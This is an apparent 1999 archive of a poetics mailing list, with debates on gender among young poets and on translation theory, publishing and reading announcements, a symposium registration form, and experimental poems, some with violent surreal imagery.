> *Anselm Berrigan's INTEGRITY & DRAMATIC LIFE*
> *Joshua Beckman's THINGS ARE HAPPENING*
> *and two "second books"*
> *Peter Gizzi's ARTIFICIAL HEART*
> *and Jeffrey McDaniel's THE FORGIVENESS PARADE...*
>
> *well, if anybody wants to tell me why the works by the*
> *more currently "fashionable" gender are better, feel free*
> *(unless the moderator doesn't see this kind of argument*
> *as worthy of the new list.....)*

> *sincerely,*
> *chris stroffolino*

↑ Index

106. **Aldon Nielsen**
Re: BATTLE OF THE SEXES
Tue 9 Feb 1999

---

well . . . you said to take careful note of your wording --

I have to wonder,,,,

if these young writers seem male to you, how do you think they seem to others?

↑ Index

107. **Aldon Nielsen**
reply to sender
Tue 9 Feb 1999

FREE THE "PITIFUL THREE"

(a night in which all helicopters are black)

I am not a fact witness

The President's gifts are hidden

I have never touched the President's testimony

The fact that people ask that question is itself a question

The President has no specific recollection

The Independent Counsel has promised to search his recollection

The Senator's aide explained that his recollection is not that straightforward

The Senator does not consider himself a member

The witenss could not recall the breakfast

I yield to myself such time as I may consume

The members are recessed

↑ Index

108. **Mark Weiss**
(no subject)
Tue 9 Feb 1999

And Winnie the Poo was translated into Latin, I guess for those leftover Roman waifs. Akin perhaps to the old custom of translating the dirty passages into Latin, so that only scholars could get their rocks off. Why else translate from a language foreign to the reader into a version of one's own language only marginally understandable to same? Translation is not replication, and it's not just about text. Translation translates as well what the reader needs to know about context, linguistic and otherwise.

At 03:06 PM 2/8/99 GMT, you wrote:
>To those who have replied to my attempts at instigating an exchange on
>literary translation, thank you. However, I wonder if we could write to
>each other on the List instead of privately. The more opinions and
>information we publish, it seems to me, the more responses we might get
>from other parties, and the richer the exchange.
>
>And as for opinions: I am suspicious of what people have been writing to
>me on Steiner. Everyone seems to have read some of AFTER BABEL, and
>everyone seems to want to dismiss the book. I sense in these
>disparagements a Popular Opinion, not founded on real engagement. I will
>stake my virtual reputation on the claim that, dropped between the
>covers of AFTER BABEL, THE TRANSLATOR'S INVISIBILITY disappears without
>a trace (forgive the pun): there is nothing in Venuti that is not better
>expressed in Steiner. (I sense another popular opinion behind Venuti's
>popularity.)
>
>A former professor of mine once said that Steiner was a charlatan... now
>if you're experiencing a little thrill of joy at these words, I would
>ask if this feeling doesn't result from confirmed prejudice rather than
>the steadier pleasure of discovering a shared perception. Plato said it:
>there is opinion and then there is knowledge; Herodotus said the same,
>and Charles Olson took up the distinction as one of his main tenets
>(pardon my truly Modernist timeline). I told my professor that I had
>read only AFTER BABEL, but that, as far as that book was concerned,
>Steiner seemed to me excellent. He replied that translation would, in
>fact, be an area in which Steiner could be relied upon... generally
>speaking, that is: he had not read the book.
>
>For those of you who HAVE read the book: what, specifically, don't you

>agree with? As I said in my last post, there are two chapters that I
>return to in AFTER BABEL: The Claims of Theory and The Hermeneutic
>Motion. I am not qualified to make a professional assessment of
>Steiner's arguments addressing Linguistics, the physiology of the brain,
>the setting to music of poetic texts, etc.; as a review and synthesis of
>a sizeable gamut of translation practices and theories, however, AFTER
>BABEL is indispensable. AB does not make the claim on the cover of THE
>TRANSLATOR'S INVISIBILITY to being "A History of Translation", and yet
>the former includes much more history than the latter, and is not
>shaped, as Venuti's book is, by a clearly political agenda.
>
>As I said before, Venuti's purpose is to expose a preference for a
>particular kind of English as a vehicle for translation, and not to
>demonstrate the literary quality (in the work of Newmann, Blackburn,
>Venuti himself, etc.) that is excluded by this preference. Nor does he
>attempt to show the lack of quality that results from such a tendentious
>preference. In an "objective" history of tastes, this program would make
>sense, but Venuti is arguing explicitly for a reappraisal of the kind of
>work that has been excluded (one wonders how much of this comes of a
>resentment at the exclusion of his own work - see the penultimate
>chapter), while his sole claim for this work is that it has suffered
>from a consistent prejudice. This seems to me fallacious, and dangerous,
>reasoning. It is on this basis that I call Venuti's book strictly
>"political." I don't have a copy of the book with me, but would welcome
>points on specific passages.
>
>I would very much like to learn of Dennis Tedlock's work on translation,
>perhaps beginning with a distinction between what is anthropological and
>what is literary in his work. (Are my categories antiquated?)
>
>Also: a correspondent mentioned a book, THE EXPERIENCE OF THE
FOREIGN,
>by Antoine Berman, which, I am sorry to say, I have never even heard of.
>Please share.
>
>Has anyone, besides Steiner, read Emile Littré on his translation of the
>COMMEDIA into fourteenth-century French (the French, as Littré says, and
>Steiner after him, that Dante knew and learned from). I am translating
>this article into English at the moment: does anyone know of a journal
>that might take an interest in such a translation? (The article was
>published mid-nineteenth-century; the translation will be written in a
>nineteenth-century literary dialect: I'm in the process of weighing up

>Ruskin and Arnold as possible donors.)
>
>Another possible point of departure: how much in the exchange on
>translation published on the RIF/T site
>[http://writing.upenn.edu/epc/rift/rift04/edit0401.html], aside from the
>Benjamin-excerpts, is worthwhile? Has this thread been followed up?
>
>A CORRECTION: in my last post, I wrote "mis-en-scene" instead of
>"mise-en-scene" with an /e/.
>
>
>Until next time,
>Jamie Ferguson
>Paris
>
>
>
>_____
>Get Your Private, Free Email at http://www.hotmail.com
>
>

↑ Index

109. Jessica Pompeii
ASIDE / FROM THE BATTLE
Tue 9 Feb 1999

---

he hated the book
I loaned him
and if I loaned
it to him
he better know
that there must be an ant of an
interest to fixate on after so much work reading the hole damn text

this good poet told me
abstractions
were unbelievable
in mystery stories

(lucky for the rain
music) “Thick As A Brick”
my record player even skipping

I said my brain needs
exercise and a note pad
I can’t see that many moves
ahead F-
he said, chess isn’t art
it is tantamount to war

I don’t see any guns
or maybe I’m missing in action

in workshop he asks
circling the new grunts
are you familiar with the canon of contemporary poetry?

F- wants to go see
the Van Gogh exhibit
and I brought up all those peers and supportive donors
of his and she said
his brother collected him exclamation
chortle

what a pickle of/ in
formal d’ hide
suspension I think this
classic scorpion curls

my ear has survived a tongue lashing
cliche and I suck
the wounds temporarily
but with rook determination and
calculatored
fading battery

 it doesn't make for reality style wall hangings
but what secret numbers and candy coated pop
corn surprises come with excavation
bitch

↑ Index

110. **Kathy Lou Schultz**

Re: BATTLE OF THE SEXES

Tue 9 Feb 1999

"The more fashionable gender?" Please . . . Could it be that women writers are getting out there and kicking butt not only as writers, but as editors, distributors, teachers, etc. and that this has helped to contribute to the

availability of fine work by women, rather than, say "fashion?" Kathy Lou Schultz

---
> From: louis stroffolino <[redacted]>
> To: [redacted]
> Subject: BATTLE OF THE SEXES
> Date: Monday, February 08, 1999 7:47 AM
>
> Dear listees:
> You know, there's certain "commonplaces" circulating that the
> women writers of "my generation" are so much better than the
> male writers (the previous moderator Joel Kuzsai, I think was the
> last one to say this, and it went unchallenged....so far)---
> I think I used to think this too a couple of years ago,
> but the best books I've read in the last year by young writers
> all seem to be male for me (NOTICE very carefully my wording--
> I am not saying that the MALES are the superior sex or anything,
> I'm just saying that it is as ridiculous to say the women are
> the best writers of my generation as it is to say that say
> Ron Silliman or Bruce Andrews is better than Carla Harryman
> or Rae Armantrout...)
>
> specifically, two "first books"
> Anselm Berrigan's INTEGRITY & DRAMATIC LIFE
> Joshua Beckman's THINGS ARE HAPPENING
> and two "second books"
> Peter Gizzi's ARTIFICIAL HEART
> and Jeffrey McDaniel's THE FORGIVENESS PARADE...
>
> well, if anybody wants to tell me why the works by the
> more currently "fashionable" gender are better, feel free
> (unless the moderator doesn't see this kind of argument
> as worthy of the new list.....)
>
> sincerely,
> chris stroffolino

↑ Index

111. Peter Ganick
POTES & POETS CHAPBOOKS
Tue 9 Feb 1999

POTES & POETS PRESS *NEW* CHAPBOOK SERIES
(ISBN prefix: 0-937013)

Potes & Poets' NEW series of chapbooks feature younger or lesser-published writers who work in an experimental or post-L=A=N=G=U=A=G=E poetic. The chapbooks are published on 25% cotton paper and have original cover designs, many by the poets themselves. They continue Potes & Poets' 18-year tradition of publishing innovative poetry, now foregrounding newer writers who dare to 'write on the edge' of linguistic and visual experience.

(PLEASE PURCHASE ANY THREE, CHOOSE ONE FREE!)

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#14 - Melanie Bookout, Complanctus and all, 40pp., (-89-7), $7.00
#15 - Alan Sondheim, The Case of the Real, vol. 1, 44pp., (-90-0), $7.00
#16 - Alan Sondheim, The Case of the Real, vol. 2, 41pp., (-91-9), $7.00
special offer: #16 and #17 together for $13.00
#17 - Dan Featherston, Anatomies, 40pp., (-92-9), $7.00

ORDER FROM:
Potes & Poets Press
181 Edgemont Avenue
Elmwood CT 06110-1005 USA

U. S. fourth class postage postpaid, first class please add $0.50 per chapbook, Foreign (Canada included) surface only please add $0.50 per chapbook. Checks only in U. S. funds to 'Potes & Poets Press'. Thank you.

BOOKSTORES ORDER FROM:
Small Press Distribution
1341 Seventh Street
Berkeley CA 94710-1409
tel. [redacted]
[redacted]

Please ask for our submission guidelines before sending texts.
Also ask for information about POTEPOETZINE/TEXT.
We will be happy to send them in another email message.

Peter Ganick, publisher.

Peter Ganick / [redacted]
Potes & Poets Press / a.bacus
POTEPOETZINE / POTEPOETTEXT
<http://members.home.com/zeropoet>

↑ Index

112. Billy Little

you

Tue 9 Feb 1999

---

songet/ghasp valentine(for U, ugly as u iz)

lizzen kidden fyoulish is
of the ezzens even
valuble anticipated even
enabling all mbracing Kayressing chissing zensational
thirty finga whispa thin romeo
translucent gab lubricant jeyev
luce snort sy love iz st range
or pennytrait sundercome
vaginable penisphilia
enviable hysterectal askidental
 xeptional njoymeantal st eerieo
ewrecked efecked shiv
ering dryppe dryppe
grip lyppe letter wryppe

forbidden plateau fallen body dojo
4 song st.

nowhere, b.c. V0R1Z0
canadaddy

↑ Index

113. Peter Ganick
archive for POTEPOETZINE/TEXT
Wed 10 Feb 1999

I forgot to mention that previous issues of
POTEPOETZINE and POTEPOETTEXT
can be viewed, along with some other fab-
ulous e-zines, at luigi-bob drake's site:
<http://www.burningpress.org/va/vaintro.html>

Enjoy!

The first of the new series will be appearing in
about 3 days.

Peter Ganick / [redacted]
Potes & Poets Press / a.bacus
POTEPOETZINE / POTEPOETTEXT
<http://members.home.com/zeropoet>

↑ Index

114. Pierre Joris
[Fwd: Steiner, Venuti, Polish Baroque verse]
Wed 10 Feb 1999

Guess this one got gobbled up by the UB system crash -- so here it is again -- as Jamie had suggested this discussion dhould be out front in public, something I agree with -- Pierre

Pierre Joris wrote:

> *Jamie Ferguson wrote:*
> *....*
>
> *In any case, in reference to your translating Celan, it is interesting to find Joris taking it for granted, in his preface to BREATHTURN, that the point of good translation is to avoid "invisibility," to set the English of the translation into relief, by making it imitate foreign syntax, word formation, etc. (I don't have the book in front of me). Venuti's book seems to have made an impact.*

> *Well, that's kind of like putting the cart in front of the horse, or theory in front of practice: I have been translating Celan since 1968, and the concept or practice of "making strange" the language into which one translates, i.e. making the fact of the translation "visible," that concept has been with me all this time (similarly in, say, my translations of Kerouac's MEXICO CITY BLUES into French from the 70ies, the French is/becomes strangely forced by the American original). Some of it I learned from reading Hölderlin's Greek translation (which is where the idea first comes in most clearly), some from talking with Paul Blackburn about his Provençal translations, some from the ethnopoetic work of Jerry Rothenberg, most of it from thinking about Celan's work, his relationship to German and the possibilities of getting that across into English — this idea has been around in the practice of poet-translators for a long time before friend Venuti (whose book I do like quite a lot, btw) "theorized" it in his book in the late eighties.*
>
> *Steiner is a different kettle of fish. I do buy his books as they come out, read them -- usually loving the opening gambits and hating the conclusions. I admire the man's intelligence & like to think through some of his suggestions — & loathe his fin-de-siècle habsburgian operatic middle-euro-centric arrogance. Whenever I have come across him in a public debate I've always found myself in vehement disagrrement with his stances. There is something profoundly reactionary in Steiner -- but because of the intelligence with which it is proffered, this something is usually worth have argument with.*
>
> *Pierre*
>
> *--*
> *==========*
> *Pierre Joris*
> [redacted]
> *http://www.albany.edu/~joris/*
> *6 Madison Place*
> *Albany NY 12202*
> *tel:* [redacted]
> *fax:* [redacted]
> *==========*
> *Nomadism answers to a relation that possession cannot satisfy.*
>
> *— Maurice Blanchot*
> *==========*

--
==========
Pierre Joris
[redacted]

http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

— Maurice Blanchot
==========

↑ Index

115. ShaunAnne Tangney Humanities
readings in the middle of nowhere--
Wed 10 Feb 1999

---

well...i'm not sure if there is anyone on this list but me in the area, but in the spirit of getting the word out there:

Thursday, February 18th, 7:00p.m. Poets Mylene Catel, ShaunAnne Tangney, Rick Watson, and Maila Zitelli will read at the Taube Museum of Art in downtown Minot, ND. The program includes poetry in English and French, some prose, and music as well. Admission is free; copies of melle. Catel's newest book will be available for purchase, the proceeds of which go toward funding a publishing scholarship for women poets on the prairies.

↑ Index

116. Maria Damon (Maria Damon)
Re: Haiku and misdemeanors
Wed 10 Feb 1999

---

i checkt this out y'day and it's way fun. dig the gary sullivan love pomes/letters! ooh la la.

At 10:43 AM 2/9/99, John Kimball wrote:
>The East Village Poetry Web.
>
><http://www.theeastvillage.org>
>
>or
>
><http://interserver.miyazaki-med.ac.jp/~east/village.htm>
>

>Sound and vision.
>
>Volume Five -- Lewis Warsh [Milton Street]; M Sarki [4 Poems]; Paul Violi
>[4 Poems]; Wei Se [3 Poems]; Andrea Brady [4 Poems]; Wang Ping [2 Poems];
>Sean Cole [Dickensian]; Hoa Nguyen [9 Poems]; Harris Schiff [3 Poems]; Toko
>Shinoda [5 Images]; Gary Sullivan [5 Letters]; Kenjiro Okazaki [2 Images
>with Verse Titles]; Mark Salerno [7 Poems]; Nada Gordon [Ravel]; Roxy Paine
>[2 Images]; Andrew Levy [Combat the Forces...]; Katherine Steele [3 Poems];
>Sheila Murphy [3 Poems]; Brian Kim Stefans [2 Poems]; Scott Watson [4
>Poems]; Peter Ganick [from Agression]; David 2 Divizio [Hunger]; Chong Lau
>[Untitled Image]
>
>Audio & Video -- Tomoyuki Iino [John Ashbery: Translated into Japanese];
>Squarepusher [Come on My Selector]; The Brilliant Green [Message]; Peter
>Ganick; Nada Gordon; Sean Cole; Andrea Brady
>
>Web Textcraft -- Annette Loudon [Skyline]; Reiner Strasser [2 Image Sets];
>Chris Najewicz [My Life as a Brick]; Miekal And ["mesostics for dick
>higgins"]
>
>
>
>(For previous selections, including Poetries of Canada, choose "Other
>Volumes" in the upper left of the opening screen.)
>
>Thanks.

↑ Index

117. sylvester pollet
Metcalf special offer
Wed 10 Feb 1999

To honor the absorption of Paul Metcalf into the great collage of the gone, the National Poetry Foundation offers its _SAGETRIEB_ special issue on Metcalf (Vol. 5 No. 3: 1986). Reduced price $5, (plus $2.50 postage/handling, domestic, or $4.50 international). e-mail orders to Gail Sapiel <[redacted]> if you want to be billed, or send to NPF, Room 302, Univ. of Maine, 5752 Neville Hall, Orono ME 04469-5752. We could supply enough for classes also--price & shipping to be arranged.

CONTENTS:

PAUL METCALF "The Players: A Documentary Comedy-Drama."
C. MARK HURLBURT and JOSEPH BOCCI "An Interview with PAUL METCALF."
DAVID KADLEC "_Apalache_: The Restorative Context."
ANDREW CAMPBELL "Paul Metcalf, Geology, and the Dynamics of Place."
also
AMOS N. WILDER "A Poet in the Depression: Letters of Kenneth Patchen, 1934-1941."
PETER COLE "The Object and its Edge: Rothko, Oppen, Zukofsky, and Newman."
CID CORMAN " A Poem by George." [Oppen]
and book reviews by BURTON HATLEN and yours truly SYLVESTER POLLET

↑ Index

118. Peter Ganick
POTES & POETS CHAPBOOKS
Wed 10 Feb 1999

POTES & POETS PRESS *NEW* CHAPBOOK SERIES
(ISBN prefix: 0-937013)

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Please ask for our submission guidelines before sending texts.
Also ask for information about POTEPOETZINE/TEXT.
We will be happy to send them in another email message.

Peter Ganick, publisher.

↑ Index

119. Jacques Debrot
Re: BATTLE OF THE SEXES
Wed 10 Feb 1999

Much more interseting than the *sex* of the author, it seems to me, is the linguistic *sexuality* of the work itself -- oral, phallic, anal, labial, etc., etc. or any of these in combination. --That is, what types of sexualities, surfacing as varieties of poetic speech, produce the most interesting language?

↑ Index

120. Ric Allsopp (by way of John Cayley)

IET Symposium, Utrecht, 1999: Details + Registration Form

Wed 10 Feb 1999

Apologies for any cross postings. Please reply to: [redacted]

Writing Research Associates, UK/ NL * Utrecht School of the Arts, NL * Dartington College of Arts, UK

> ----------
> IN THE EVENT OF TEXT: EPHEMERALITIES OF WRITING
> a second international symposium on writing & performance
> Utrecht, Netherlands
> April 28 - May 2, 1999
> ----------
> CONTACT:
> Nirav Christophe
> In the Event of Text
> HKU Faculteit Theater
> Janskerkhof 18
> 3512 BM Utrecht
> Netherlands
> email. [redacted]
> tel. 0031 30 [redacted]
> fax. 0031 30 [redacted]
> ----------

'in the event of text' is a 5-day symposium on contemporary strategies in performance and writing with intensive workshops led by artists of international reputation and working with writing in various media. the four 3-day intensive workshops run in parallel, are based in practice, and will be concerned with ephemerality, exploration and process in differing media. the contents of the workshops feed into the 2-day conference weekend and provide a convergence of issues and debates in contemporary performance writing. workshops will be lead by Jason E. Bowman (visual artist), Paul Pourveur (playwright), Leslie Hill & Helen Paris (digital artists) & Sianed Jones (voice artist). further details of the workshops are available at <http://www.hku.nl/events/iet> or on request by post (see contact address above) from December 1998.

the conference will include papers, presentations and panel discussions around ideas of the ephemeralities of writing, and text as event. papers will include recent work on tactical media * poetics * telematics * authoring * post-dramatic texts * internet radio collaborations * text and memory.

'in the event of text' aims to explore, through work and discussion, the ways in which writing can be seen to function as a time-based, transient, ephemeral artform when played out in the context of different media and environments. curated work will take place under the following broad categories:

* the disappearing text and contemporary live performance * * the dispersal of written material through new interactive and sonic media * * electronic writings, cybertext and hypertext * * the local sites of mobilised writing including poetic and book-based practices *

emphasis is placed on performances, installations, readings, open showings and curated exhibitions as an integral part of the conference. a virtual cybertext collaboration will be initiated by writer in residence John Cayley. the first symposium in the series was held at dartington, england in april 1996. the conference language will be english.

contributors include:
* Fabienne Audéoud * Jason E. Bowman * Arnold Dreyblatt * David Garcia * Heidi Grundmann
* Leslie Hill & Helen Paris * Sianed Jones * Kirsten Lavers * Hans-Thies Lehmann * Tertia Longmire
* Jurrienne Ossewold * Paul Pourveur * Joan Retallack * Paul Sermon * Enno Stahl * Aaron Williamson

writer-in-residence: * John Cayley
exhibitions curator: * cris cheek
catalogue: * Sally Tallant

initiated & organized by: * Ric Allsopp * Caroline Bergvall * Nirav Christophe

writing research associates * email: [redacted] * website: http://huizen.dds.nl/~sdela/wra * conference website: http://www.hku.nl/events/iet * conference email: [redacted] conference contact address: IET * HKU Faculteit Theater * Janskerkhof 18 * 3512 BM * Utrecht * NL

****
REGISTRATION FORM: [also available at <http://www.hku.nl/events/iet>]

PLEASE SEND TO: [redacted] OR TO CONTACTADDRESS ABOVE]

in the event of text: ephemeralities of writing
a second international symposium on writing & performance
utrecht, netherlands
april 28 - may 2 * 1999

Personal Details:

*full name:
*address:
*city:
*country:
*postcode:
*tel:
*email:
*fax:

preferred means of communication:
* mail
* fax
* email

------ Dates: 'in the event of text * ephemeralities of writing' will open on wednesday 28 april at 12.00 (registration 10.00-12.00) and finish on sunday 2 may at 18.00. * registration for conference only (friday 30 april - sunday 2 may) will be between 17.00 - 18.00 on friday 30 april (conference begins at18.00).

Fees:
fees include all conference events, performances and exhibitions; tea, coffee, lunch, and supper on friday 30 april only. accommodation is NOT included.

[ ] workshop & conference inclusive (5 days) NFL. 500 (£175) [ ] conference only (2 days) NFL. 250 (£90)

Workshop Choice:

(please indicate first & second choices)

workshop 1: Paul Pourveur
workshop 2: Leslie Hill & Helen Paris
workshop 3: Jason E. Bowman
workshop 4: Sianed Jones

* early booking for workshops is advised as there is a maximum of 10 participants per workshop

---
Accommodation & Travel:

[participants will need to arrange their own accommodation and travel]

please send information:
* list of hotels and guesthouses
* travel information

Food:
lunch will be provided from wednesday 28 april - sunday may 2.
supper will be included on friday 30 april

Specific Needs:
dietary requirements
* vegetarian
* non-vegetarian
* other
* other needs: (please specify)

--------- Payment: payment in full should be made by april 1st EITHER by transfer to Postbank No. 2354345 in name of 'HKU/Theater Utrecht' mentioning 'IET' OR by UK or NL bank cheque/ Eurocheque/ International postal or money order made payable to 'HKU/Theater Utrecht' and sent to address below

PLEASE RETURN TO:
Nirav Christophe * in the event of text * HKU Faculteit Theater *
Janskerkhof 18 * 3512 BM Utrecht * NL
 * email. [redacted] * tel. 0031 30 [redacted] * fax. 0031 30 [redacted]

*******END*******

~~~~~~~~~~~~
Writing Research Associates, UK
Amberleigh, East Allington, Totnes,
Devon UK. TQ9 7RD
tel. 0044 (0)1548 521436
    0044 (0)1803 861631
fax. 0044 (0)1803 866053
email. [redacted]
www. http://huizen.dds.nl/~sdela/wra

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121. Erik Sweet
"*Tool a Magazine Issue Party*"
Wed 10 Feb 1999

"Tool a Magazine Issue Party"

-"A Night of words and whiskley, fun for everyone involved" -Mayor Guliani

On Friday February 26th, 8:30 at Segue Performance Space:
303 E. 8th Street between Aves B and C.... in NYC, *
~~~~~~~~~~~~

we are throwing a party to celebrate the second issue publication of "Tool a Magazine"
Entrance is free, although a small donation will be collected.

Readers will include: Brian Lucas, Jorge Clar, Douglas Rothchild, Brenda Iijima,
Gary Sullivan, Brenda Coultas, Sean Killian and surprise guests..."

MCs for the night will be the editors and circus practitioners Anselm Berrigan and Jordan Davis..

The second issue will be for sale and fantastic prizes will be given to the first 15 buyers!

Come and support the readers and our publication...Be there !!!!

Erik Sweet and Lori Quillen

"come see our Tool a Magazine trained monkey...he'll make you a drink"

↑ Index

122. Safdie Joseph
FW: Jameson ref
Wed 10 Feb 1999

In the hopes that this disappeared via crash problems, I'll resubmit it -- I certainly don't THINK there's anything in here that goes against the latest guidelines.

Patrick, in supplying the Jameson citation Steven Shoemaker asked for last week, also mentions Perelman's response, namely

"a chapter of his in _Marginalization of Poetry_ -
as I recall, it focuses on a discussion of the strategies of parataxis."

Said response is also reprinted in a new anthology mentioned by Hank Lazer last week, called Artifice & Indeterminacy: An Anthology of New Poetics (University of Alabama press). As it happened, I purchased this book and read it on the beach in Mexico during Christmas break. From this list, there's also contributions by Rae Armantrout, Charles Bernstein, Maria Damon, Hank Lazer, Marjorie Perloff, James Sherry, and Ron Silliman.

I'd be interested in contributing to a discussion of this anthology, seemingly so central to the concerns of most folks here. Marjorie's essay, for example, is a chapter from her book Writing Poetry in the Age of Media, and contains her usual intelligent provocations; she basically attempts to demolish

the idea of "natural speech" in poetry, and does a pretty thorough (and funny!) job of picking on straw men like Phillip Levine. I felt, though, that she never really dealt with the example of "fifties poetics" she mentions (Olson's), nor Levertov's "organic poetry" of the sixties -- indeed, it seemed to me that the implications of criticizing the idea of the organic weren't really thought through, there or in Charles Bernstein's piece. The latter, called "Artifice of Absorption," is basically prose chopped up into highly arbitrary and (to this ear) stilted and awkward line breaks --comparing it with David Antin's wonderful and yes, "organic" "what it means to be avant-garde" is almost unfair.

At any rate, nearly all of these pieces do what I think poetics SHOULD do -- challenge and inform. The fact that I have major differences with many of the arguments presented has nothing to do with their quality; it's a handsome collection.

And Pat -- thanks for the great alchemy post! John Dee rules!

* -----Original Message-----
* From: Steven Shoemaker [SMTP:[redacted]]
<mailto:[SMTP:[redacted]]>
> Sent: Wednesday, February 03, 1999 11:07 AM
> To: [redacted]
<mailto:[redacted]>
> Subject: Jameson ref
>
> Can anyone give me the citation for the notorious Jameson critique of
> Perelman & langpo? thanks, s

↑ Index

123. Kathy Lou Schultz
Lipstick Eleven
Wed 10 Feb 1999

Lipstick Eleven, the lippiest schtick--er, uh journal--in town, is still available for purchase.

81/2x11
Perfect Bound
109 pages
Special celebrity cover!

Features new work by: Mike Amnasan, Dodie Bellamy, Jim Brashear, Catalina Cariaga, Norma Cole, Robert Gluck, Carla Harryman, Kevin Killian, Roxane

Marini, Camille Roy, Jocelyn Saidenberg, Kathy Lou Schultz, Wayne Smith, Brian Strang, Rodrigo Toscano, Truong Tran, and Robin Tremblay-McGaw.

$8. Postage FREE.
to:
Lipstick Eleven
c/o Kathy Lou Schultz
42 Clayton Street
San Francisco, CA 94117-1110

Remember: Don't go out without your lipstick!

↑ Index

124. Kathy Lou Schultz
Martha Ronk
Wed 10 Feb 1999

Need e-mail and snail mail for Martha Ronk.

Many thanks,
[redacted]

↑ Index

125. Edward Foster
Friday in New York
Wed 10 Feb 1999

This Friday, February 14th, at 8:00 P.M.
at Segue, 303 E. 8th Street (between B and C):

Dennis Barone, Patricia Pruitt, Sean Killian, Peter Valente, and others

reading from their new work in the first Jensen/Daniels series, just published, and more . . . . .

↑ Index

126. A. Jenn Sondheim
some recent things
Wed 10 Feb 1999

Her Song

I hear.
I do not hear.
I hear.

I do not hear.
I hear.
I do not hear.
I hear.
I do not hear.
I hear.
I do not hear.
I hear.
I do not, here.
I am so beautiful I can turn any heterosexual girl just like that.
I am so beautiful I can turn any homosexual boy just like that.
I hear.
I do not hear.
I hear.
I do not hear.
I hear.
I do not, here.
I hear.
I do not hear.
I hear.
I do not hear.
I hear.
I do not, here.
I am so beautiful I would cradle you in my loving arms.
I am so beautiful I would cradle your loving corpse.
I hear.
I do not, here.
I hear.
I do not, here.
I hear.
I do not, here.
I hear.
I do not, here.
I hear.
I do not, here.
I hear.
I do not, here.

(from N.)

I received the bomb from Dimitri. I took the bomb to the flabby heart of a knot of soldiers. I released the bomb like an eagle with great-talons. I gave myself

over to the bomb and I released it. I presaged the machines and I did know of the machines. And I issue a warning:

THE MACHINES WILL SUCK YOUR ENERGY.
I released the bomb like an eagle with great-talons.
THE MACHINES WILL SEE FOR YOU, DIRECT YOUR EYES FOR YOU.
THE MACHINES WILL FILTER EVERYTHING THROUGH THE EVIL APPARATUS.
THIS IS NOT A TEST OF THE MACHINES, THIS IS A WARNING I WILL GIVE YOU.
I released the bomb like an eagle with great-talons.
THE WARNING LEAKS THROUGH THE MACHINES, THE WARNING TELLS YOU:
THE ENERGY IS GONE.
YOU ARE ALL ALONE IN THE MIDDLE OF WIRES IN THE MIDDLE OF THE NIGHT.
THERE IS NO ONE TO TALK TO, NO ONE BUT THE MACHINES.
THE MACHINES WILL LISTEN; THE MACHINES WILL TAKE IT ALL DOWN.
I released the bomb like an eagle with great-talons.
THE MACHINES WILL HEAR YOU SCREAM:
THE ENERGY IS GONE.
I AM ALL ALONE IN THE MIDDLE OF WIRES IN THE MIDDLE OF THE NIGHT.
THERE IS NO ONE TO TALK TO, NO ONE BUT THE MACHINES.
THE MACHINES LISTEN; THE MACHINES TAKE IT ALL DOWN.
I released the bomb like an eagle with great-talons.
THE MACHINES HEAR ME SCREAM:
THE ENERGY IS GONE.
YOU ARE LISTENING NOW, SAYS N, TO THE ENERGY OF A VACATED BODY.
YOU ARE LISTENING TO THE ENERGY OF THE ZERO POINT.
(I released the bomb like an eagle with great-talons.
THE STREETS ARE ABANDONED; THERE IS COLLUSION IN THE NEIGHBORHOOD.
THE NEIGHBORHOOD OF THE ZERO POINT IS CROWDED WITH CLOSED SETS.
(I released the bomb like an eagle with great-talons.
THE CLOSED SETS ARE INFINITESIMAL STRUCTURES AROUND DISCRETE POINTS.
THE DISCRETE POINTS ARE MONADS THAT HAVE NO RELATION.
RELATION IS GONE IN THIS GONE WORLD OF THE DISCRETE POINTS.
THERE IS NULL, SAYS N, YOU COULD NOT RECOGNIZE IT
I RELEASED THE BOMB LIKE AN EAGLE WITH GREAT-TALONS.

cause the machines have grounded you in your blindness and you can't see how empty you are, your only motions the clattering of the keys late into the night, your only arms swinging the mouse over its pad and it don't even live in that pad, I RELEASED THE BOMB LIKE AN EAGLE WITH GREAT-TALONS.

cause there are wires emanating from the machines in all directions, and they're the nerves dragging your mind down among the integrated circuits, and you think, says N, I RELEASED THE BOMB LIKE AN EAGLE WITH GREAT-TALONS.

YOU'RE ALL MIND BECAUSE THAT'S WHAT THE MACHINES HAVE DELIVERED YOU, YOU'RE ALWAYS IN THE HOLODECK BECAUSE THAT'S WHAT'S BEEN DELIVERED, YOU'RE ALWAYS IN VIRTUAL STEREO-LAND BECAUSE THAT'S WHAT YOU'VE BEEN GIVEN (I released the bomb like an eagle with great-talons. YOU THINK, WELL, YOU'LL MOVE YOUR ARMS, SO YOU MOVE YOUR ARMS YOU THINK, WELL, YOU'LL MOVE YOUR ARMS, SO YOU MOVE YOUR LEGS YOU THINK, WELL, YOU'LL MOVE YOUR ARMS, SO YOU MOVE YOUR NECK YOU THINK, WELL, YOU'LL MOVE YOUR ARMS, SO YOU MOVE YOUR MIND (I released the bomb like an eagle with great-talons.

the bomb's from Dimitri who called and said, get that knot of soldiers over there, they're after you, they're the slayers of human flesh, they have scales and rays where their eyes should be, forget the helmets and greatcoats, they're the slayers of our human flesh, they are plug-ins and they have sixteen million colors and their St. Petersburg is our St. Petersburg

& the bomb's over there in the midst of soldiers of great brass scales, of great monstrosity and breathing fire, of great smoke and inhalations, and the bomb falls like a rocket or a spire, of great tumultuous sound and pereginations of fire and sharpnel

& you've lost your energy & all your fluids leak & your dead eyes see SIXTEEN MILLION COLORS & your dead ears hear TWENTY THOUSAND HERTZ & your dead lips taste nothing & your dead fingers touch PURE FORM & your dead eyes SEE NOTHING & your dead ears are dead ears

I've known this for a long time, says N, and I've been afraid to express this. I've been afraid to declare myself in this community. I've been afraid to say, I'm a daughter of a bitch. I'm afraid to be with you. I'm afraid to kiss you. I'm afraid to penetrate. I'm afraid to fuck in front of everyone and kill them all with you. I'm afraid we'll kill them as they die.

I'M AFRAID WE'LL KILL THEM AS THEY DIE,
I'M AFRAID WE'LL KILL THEM AS THEY DIE

I released the bomb like an eagle with great-talons, says N

Groovy & Linda & Fucking Naked & Despair

SQUEAK speak forever or now hold your peace;
this is your life, you do not have a lease
on any other, your avatars have left,
and you stand ripped, unswarmed, and quite bereft
of all that stripping richness, soil, plough and hoe
that gave you weeds; you've nothing left to show.
there's always nematodes and other forms of worm
alive in wetware minds - they make you squirm -
you fear luxury, petunias, sonnets and cold showers,
while breathing meadows in your dying hours.
your dying seconds are second deaths, and last
no longer than "Jennifer's" dim past -
which trundles bundles towards the future; we're all there
